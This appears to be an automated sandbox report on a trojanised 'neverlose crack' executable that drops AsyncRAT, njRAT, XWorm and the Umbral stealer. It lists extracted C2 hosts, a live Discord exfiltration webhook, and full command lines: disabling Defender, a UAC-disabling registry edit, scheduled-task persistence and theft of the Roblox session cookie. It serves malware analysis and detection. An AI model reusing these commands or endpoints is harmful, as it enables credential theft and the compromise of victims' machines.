asyncrat | d51154dab49e7c3199cb9fd75aa5c7f9eb58ed74c8ea5eb40601ee484dc0b578

Analysis

max time kernel
30s
max time network
31s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-09-2024 09:18

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General

Target

neverlose crack.exe
Size

295KB
MD5

01cc2b2bcef2f12ab9a10905f999027d
SHA1

c62bb9b1532dc3f8638cc1ab5eb3b5f5185c2b40
SHA256

d51154dab49e7c3199cb9fd75aa5c7f9eb58ed74c8ea5eb40601ee484dc0b578
SHA512

025af3ae3fa059e364ef933cff47327436f08fb18379377caf7e71ced86f2c8adb4f56a79a643f3072c21b06e9e9b97f5945b9bdff1d29e798c6d9a5c3360d5c
SSDEEP

6144:DVOuy8Et9vsiTzIpoOhYyC8M4i7jyVvdOe4BWH5Y5/zu4cCGb19e:bFigGOTCz17jy9Yer6dzIpi

Score

10^/10

asyncrat njrat umbral xworm victim credential_access discovery evasion execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1273828074898718851/qR9eE6omxJxFL_jVry1J18IsVQ6bHhsk5rGr5VLxyO-92VJHyGPK43BBNMWtaUG56gE2

Extracted

Family

njrat

Version

<- NjRAT 0.7d Horror Edition ->

Botnet

Victim

meeting-compound.gl.at.ply.gg:1504

Mutex

f8ff2d3def0ea5927a14148fb1c0ef4a

Attributes

reg_key
f8ff2d3def0ea5927a14148fb1c0ef4a
splitter
Y262SUCZ4UJJ

Extracted

Family

xworm

meeting-compound.gl.at.ply.gg:44256

Attributes

Install_directory
%AppData%
install_file
USB.exe

Extracted

Family

asyncrat

Botnet

Victim

127.0.0.1:1504

127.0.0.1:44256

meeting-compound.gl.at.ply.gg:1504

meeting-compound.gl.at.ply.gg:44256

Attributes

delay
1
install
true
install_file
System.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral4/memory/4580-47-0x0000025110110000-0x0000025110150000-memory.dmp	family_umbral
behavioral4/files/0x00070000000234b3-37.dat	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral4/files/0x0009000000023454-4.dat	family_xworm
behavioral4/memory/1904-40-0x0000000000EC0000-0x0000000000ED6000-memory.dmp	family_xworm

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral4/files/0x00070000000234b2-15.dat	family_asyncrat

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1960	powershell.exe
2116	powershell.exe
548	powershell.exe
1052	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2696	attrib.exe
736	attrib.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	Payload.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	neverlose crack.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	INSTALLER1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WizClient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WmZWbh4b.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizClient.lnk	WizClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizClient.lnk	WizClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\f8ff2d3def0ea5927a14148fb1c0ef4a.exe	dllhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\f8ff2d3def0ea5927a14148fb1c0ef4a.exe	dllhost.exe

Executes dropped EXE 8 IoCs

pid	Process
1904	WizClient.exe
3880	INSTALLER1.exe
4580	Umbral.exe
524	WmZWbh4b.exe
4864	Payload.exe
932	System.exe
2632	dllhost.exe
2116	$77svchost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\f8ff2d3def0ea5927a14148fb1c0ef4a = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost.exe\" .."	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WizClient = "C:\\Users\\Admin\\AppData\\Roaming\\WizClient.exe"	WizClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f8ff2d3def0ea5927a14148fb1c0ef4a = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost.exe\" .."	dllhost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	neverlose crack.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Payload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1972	cmd.exe
4524	PING.EXE

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
544	timeout.exe
3724	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1004	wmic.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4008	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4524	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3716	schtasks.exe
4404	schtasks.exe
3944	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
4580	Umbral.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
3880	INSTALLER1.exe
1052	powershell.exe
1052	powershell.exe
1960	powershell.exe
1960	powershell.exe
2116	powershell.exe
2116	powershell.exe
3680	powershell.exe
3680	powershell.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe
524	WmZWbh4b.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1904	WizClient.exe
Token: SeDebugPrivilege	4580	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2696	wmic.exe
Token: SeSecurityPrivilege	2696	wmic.exe
Token: SeTakeOwnershipPrivilege	2696	wmic.exe
Token: SeLoadDriverPrivilege	2696	wmic.exe
Token: SeSystemProfilePrivilege	2696	wmic.exe
Token: SeSystemtimePrivilege	2696	wmic.exe
Token: SeProfSingleProcessPrivilege	2696	wmic.exe
Token: SeIncBasePriorityPrivilege	2696	wmic.exe
Token: SeCreatePagefilePrivilege	2696	wmic.exe
Token: SeBackupPrivilege	2696	wmic.exe
Token: SeRestorePrivilege	2696	wmic.exe
Token: SeShutdownPrivilege	2696	wmic.exe
Token: SeDebugPrivilege	2696	wmic.exe
Token: SeSystemEnvironmentPrivilege	2696	wmic.exe
Token: SeRemoteShutdownPrivilege	2696	wmic.exe
Token: SeUndockPrivilege	2696	wmic.exe
Token: SeManageVolumePrivilege	2696	wmic.exe
Token: 33	2696	wmic.exe
Token: 34	2696	wmic.exe
Token: 35	2696	wmic.exe
Token: 36	2696	wmic.exe
Token: SeIncreaseQuotaPrivilege	2696	wmic.exe
Token: SeSecurityPrivilege	2696	wmic.exe
Token: SeTakeOwnershipPrivilege	2696	wmic.exe
Token: SeLoadDriverPrivilege	2696	wmic.exe
Token: SeSystemProfilePrivilege	2696	wmic.exe
Token: SeSystemtimePrivilege	2696	wmic.exe
Token: SeProfSingleProcessPrivilege	2696	wmic.exe
Token: SeIncBasePriorityPrivilege	2696	wmic.exe
Token: SeCreatePagefilePrivilege	2696	wmic.exe
Token: SeBackupPrivilege	2696	wmic.exe
Token: SeRestorePrivilege	2696	wmic.exe
Token: SeShutdownPrivilege	2696	wmic.exe
Token: SeDebugPrivilege	2696	wmic.exe
Token: SeSystemEnvironmentPrivilege	2696	wmic.exe
Token: SeRemoteShutdownPrivilege	2696	wmic.exe
Token: SeUndockPrivilege	2696	wmic.exe
Token: SeManageVolumePrivilege	2696	wmic.exe
Token: 33	2696	wmic.exe
Token: 34	2696	wmic.exe
Token: 35	2696	wmic.exe
Token: 36	2696	wmic.exe
Token: SeDebugPrivilege	3880	INSTALLER1.exe
Token: SeDebugPrivilege	3880	INSTALLER1.exe
Token: SeDebugPrivilege	1052	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeBackupPrivilege	4508	vssvc.exe
Token: SeRestorePrivilege	4508	vssvc.exe
Token: SeAuditPrivilege	4508	vssvc.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	524	WmZWbh4b.exe
Token: SeIncreaseQuotaPrivilege	3516	wmic.exe
Token: SeSecurityPrivilege	3516	wmic.exe
Token: SeTakeOwnershipPrivilege	3516	wmic.exe
Token: SeLoadDriverPrivilege	3516	wmic.exe
Token: SeSystemProfilePrivilege	3516	wmic.exe
Token: SeSystemtimePrivilege	3516	wmic.exe
Token: SeProfSingleProcessPrivilege	3516	wmic.exe
Token: SeIncBasePriorityPrivilege	3516	wmic.exe
Token: SeCreatePagefilePrivilege	3516	wmic.exe
Token: SeBackupPrivilege	3516	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1904	WizClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 448 wrote to memory of 1904	448	neverlose crack.exe	84
PID 448 wrote to memory of 1904	448	neverlose crack.exe	84
PID 448 wrote to memory of 3880	448	neverlose crack.exe	86
PID 448 wrote to memory of 3880	448	neverlose crack.exe	86
PID 448 wrote to memory of 4580	448	neverlose crack.exe	87
PID 448 wrote to memory of 4580	448	neverlose crack.exe	87
PID 448 wrote to memory of 524	448	neverlose crack.exe	88
PID 448 wrote to memory of 524	448	neverlose crack.exe	88
PID 448 wrote to memory of 4864	448	neverlose crack.exe	89
PID 448 wrote to memory of 4864	448	neverlose crack.exe	89
PID 448 wrote to memory of 4864	448	neverlose crack.exe	89
PID 4580 wrote to memory of 2696	4580	Umbral.exe	91
PID 4580 wrote to memory of 2696	4580	Umbral.exe	91
PID 4580 wrote to memory of 4672	4580	Umbral.exe	94
PID 4580 wrote to memory of 4672	4580	Umbral.exe	94
PID 4580 wrote to memory of 1052	4580	Umbral.exe	96
PID 4580 wrote to memory of 1052	4580	Umbral.exe	96
PID 3880 wrote to memory of 2748	3880	INSTALLER1.exe	97
PID 3880 wrote to memory of 2748	3880	INSTALLER1.exe	97
PID 3880 wrote to memory of 4104	3880	INSTALLER1.exe	99
PID 3880 wrote to memory of 4104	3880	INSTALLER1.exe	99
PID 4104 wrote to memory of 3724	4104	cmd.exe	102
PID 4104 wrote to memory of 3724	4104	cmd.exe	102
PID 2748 wrote to memory of 3716	2748	cmd.exe	103
PID 2748 wrote to memory of 3716	2748	cmd.exe	103
PID 4580 wrote to memory of 1960	4580	Umbral.exe	104
PID 4580 wrote to memory of 1960	4580	Umbral.exe	104
PID 4580 wrote to memory of 2116	4580	Umbral.exe	106
PID 4580 wrote to memory of 2116	4580	Umbral.exe	106
PID 1904 wrote to memory of 4404	1904	WizClient.exe	108
PID 1904 wrote to memory of 4404	1904	WizClient.exe	108
PID 4580 wrote to memory of 3680	4580	Umbral.exe	112
PID 4580 wrote to memory of 3680	4580	Umbral.exe	112
PID 4580 wrote to memory of 3516	4580	Umbral.exe	117
PID 4580 wrote to memory of 3516	4580	Umbral.exe	117
PID 524 wrote to memory of 736	524	WmZWbh4b.exe	119
PID 524 wrote to memory of 736	524	WmZWbh4b.exe	119
PID 524 wrote to memory of 2696	524	WmZWbh4b.exe	121
PID 524 wrote to memory of 2696	524	WmZWbh4b.exe	121
PID 4580 wrote to memory of 3840	4580	Umbral.exe	123
PID 4580 wrote to memory of 3840	4580	Umbral.exe	123
PID 4580 wrote to memory of 3024	4580	Umbral.exe	125
PID 4580 wrote to memory of 3024	4580	Umbral.exe	125
PID 4580 wrote to memory of 548	4580	Umbral.exe	127
PID 4580 wrote to memory of 548	4580	Umbral.exe	127
PID 4104 wrote to memory of 932	4104	cmd.exe	130
PID 4104 wrote to memory of 932	4104	cmd.exe	130
PID 4580 wrote to memory of 1004	4580	Umbral.exe	131
PID 4580 wrote to memory of 1004	4580	Umbral.exe	131
PID 4580 wrote to memory of 1972	4580	Umbral.exe	133
PID 4580 wrote to memory of 1972	4580	Umbral.exe	133
PID 1972 wrote to memory of 4524	1972	cmd.exe	135
PID 1972 wrote to memory of 4524	1972	cmd.exe	135
PID 4864 wrote to memory of 2632	4864	Payload.exe	136
PID 4864 wrote to memory of 2632	4864	Payload.exe	136
PID 4864 wrote to memory of 2632	4864	Payload.exe	136
PID 2632 wrote to memory of 4672	2632	dllhost.exe	140
PID 2632 wrote to memory of 4672	2632	dllhost.exe	140
PID 2632 wrote to memory of 4672	2632	dllhost.exe	140
PID 2632 wrote to memory of 1512	2632	dllhost.exe	142
PID 2632 wrote to memory of 1512	2632	dllhost.exe	142
PID 2632 wrote to memory of 1512	2632	dllhost.exe	142
PID 2632 wrote to memory of 3944	2632	dllhost.exe	144
PID 2632 wrote to memory of 3944	2632	dllhost.exe	144

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4672	attrib.exe
736	attrib.exe
2696	attrib.exe
4672	attrib.exe

C:\Users\Admin\AppData\Local\Temp\neverlose crack.exe
"C:\Users\Admin\AppData\Local\Temp\neverlose crack.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:448
- C:\Users\Admin\AppData\Local\Temp\WizClient.exe
  "C:\Users\Admin\AppData\Local\Temp\WizClient.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WizClient" /tr "C:\Users\Admin\AppData\Roaming\WizClient.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4404
- C:\Users\Admin\AppData\Local\Temp\INSTALLER1.exe
  "C:\Users\Admin\AppData\Local\Temp\INSTALLER1.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "System" /tr '"C:\Users\Admin\AppData\Roaming\System.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2748
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "System" /tr '"C:\Users\Admin\AppData\Roaming\System.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9EC0.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:3724
  - - C:\Users\Admin\AppData\Roaming\System.exe
      "C:\Users\Admin\AppData\Roaming\System.exe"
      4⤵
      Executes dropped EXE
      PID:932
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4580
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2696
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:4672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3680
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3516
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:3840
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:548
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1004
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1972
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4524
- C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe
  "C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Windows\System32\attrib.exe
    "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:736
- - C:\Windows\System32\attrib.exe
    "C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\Exec\$77svchost.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF7AE.tmp.bat""
    3⤵
    PID:1188
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:544
  - - C:\Users\Admin\Exec\$77svchost.exe
      "C:\Users\Admin\Exec\$77svchost.exe"
      4⤵
      Executes dropped EXE
      PID:2116
- C:\Users\Admin\AppData\Local\Temp\Payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Payload.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Users\Admin\AppData\Local\Temp\dllhost.exe
    "C:\Users\Admin\AppData\Local\Temp\dllhost.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Local\Temp\dllhost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4672
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /delete /tn CleanSweepCheck /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1512
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /sc minute /mo 1 /tn CleanSweepCheck /tr C:\Users\Admin\AppData\Local\Temp\dllhost.exe
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3944
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5036
    - - C:\Windows\SysWOW64\reg.exe
        
        reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4008

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1a58f982c18490e622e00d4eb75ace5a

SHA1
60c30527b74659ecf09089a5a7c02a1df9a71b65

SHA256
4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

SHA512
ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec79fae4e7c09310ebf4f2d85a33a638

SHA1
